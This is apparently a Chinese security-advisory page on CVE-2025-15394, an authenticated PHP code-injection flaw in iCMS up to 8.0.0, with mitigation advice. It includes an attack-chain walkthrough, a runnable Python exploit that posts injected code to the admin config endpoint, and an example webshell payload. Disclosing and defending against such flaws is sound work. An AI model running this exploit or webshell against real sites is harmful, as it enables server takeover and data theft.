IPBUF安全漏洞报告
English
CVE-2025-15394 CVSS 4.7 中危

CVE-2025-15394 iCMS ConfigAdmincp.php代码注入漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2025-15394
漏洞类型
代码注入
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
iCMS

相关标签

代码注入iCMS远程代码执行配置管理漏洞PHPCVE-2025-15394Web应用安全权限提升

漏洞概述

CVE-2025-15394是iCMS应用中存在的一个代码注入漏洞,影响版本至8.0.0。该漏洞位于app/config/ConfigAdmincp.php文件中的Save函数,由于对POST参数config的处理不当,攻击者可以通过构造恶意输入实现任意PHP代码执行。iCMS是一款开源的内容管理系统,广泛应用于各类网站建设中。由于该漏洞需要高权限用户才能利用,且CVSS评分达到4.7分,属于中危级别漏洞。漏洞于2025年12月31日披露,目前公开的利用代码已存在,厂商在收到安全通知后未做出任何响应。该漏洞的利用可导致攻击者完全控制服务器,获取敏感数据,植入后门程序,对业务系统造成严重安全威胁。建议受影响用户尽快采取防护措施或升级到安全版本。

技术细节

该漏洞的根本原因在于iCMS的配置文件管理功能对用户输入缺乏充分的安全过滤。在app/config/ConfigAdmincp.php文件的Save函数中,程序直接处理POST请求中的config参数,并将其内容写入配置文件。攻击者可以通过构造包含PHP代码的config参数值,实现代码注入。成功利用该漏洞需要满足以下条件:1)攻击者需要具备管理员或更高权限账户;2)能够向目标服务器的POST参数Handler组件发送恶意请求;3)目标服务器配置允许PHP代码执行。由于该漏洞位于配置管理功能模块,攻击者一旦成功利用,可将webshell写入配置文件,进而获得持久化的远程代码执行能力。攻击者还可以修改系统其他配置项,进一步扩大攻击面。漏洞的利用过程相对简单,攻击复杂度较低,但需要认证这一前提条件限制了漏洞的广泛利用。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用iCMS系统,并通过指纹识别确定版本号(需<=8.0.0)
STEP 2
获取管理员权限
通过暴力破解、弱口令利用、社工攻击或利用其他漏洞获取iCMS管理员账户凭证
STEP 3
构造恶意Payload
攻击者构造包含PHP代码的config参数,常见的payload形式为<?php phpinfo(); ?>或webshell代码
STEP 4
发送恶意请求
使用管理员身份向/admincp.php?app=config&do=save端点发送POST请求,config参数包含恶意代码
STEP 5
代码执行
恶意代码被写入app/config/ConfigAdmincp.php文件,攻击者通过访问该文件或触发相关功能执行注入的代码
STEP 6
持久化控制
攻击者利用webshell获得服务器的持久化远程控制权限,可进行数据窃取、横向移动或部署后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15394 PoC - iCMS Code Injection # Target: iCMS <= 8.0.0 (ConfigAdmincp.php Save function) # Requirement: High privilege access (admin account) def exploit(target_url, username, password, payload): """ Exploit code injection in iCMS ConfigAdmincp.php Args: target_url: Base URL of the vulnerable iCMS installation username: Admin username password: Admin password payload: PHP code to inject (e.g., '<?php phpinfo(); ?>') Returns: bool: True if exploitation appears successful """ session = requests.Session() # Step 1: Authentication login_url = f"{target_url}/admincp.php?app=login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed - HTTP {response.status_code}") return False print(f"[+] Authentication successful") # Step 2: Inject malicious code via config parameter inject_url = f"{target_url}/admincp.php?app=config&do=save" inject_data = { 'config': payload, 'group': 'custom' } response = session.post(inject_url, data=inject_data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully") print(f"[+] Check {target_url}/app/config/ConfigAdmincp.php for injected code") return True else: print(f"[-] Injection failed - HTTP {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <payload>") print(f"Example: python {sys.argv[0]} http://target.com admin admin123 '<?php system($_GET["cmd"]); ?>'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] payload = sys.argv[4] exploit(target, user, pwd, payload)

影响范围

iCMS <= 8.0.0

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)立即修改所有管理员账户密码为强密码,并启用双因素认证;2)限制/admincp.php访问来源,仅允许可信IP段访问管理后台;3)暂时禁用配置管理功能或限制其功能范围;4)在Web应用层部署输入过滤规则,对config参数中的PHP标签进行过滤;5)加强对管理员操作日志的监控,及时发现异常行为;6)定期备份配置文件和数据库,以便在遭受攻击后快速恢复;7)考虑使用的主机安全防护产品实时监控文件变更行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表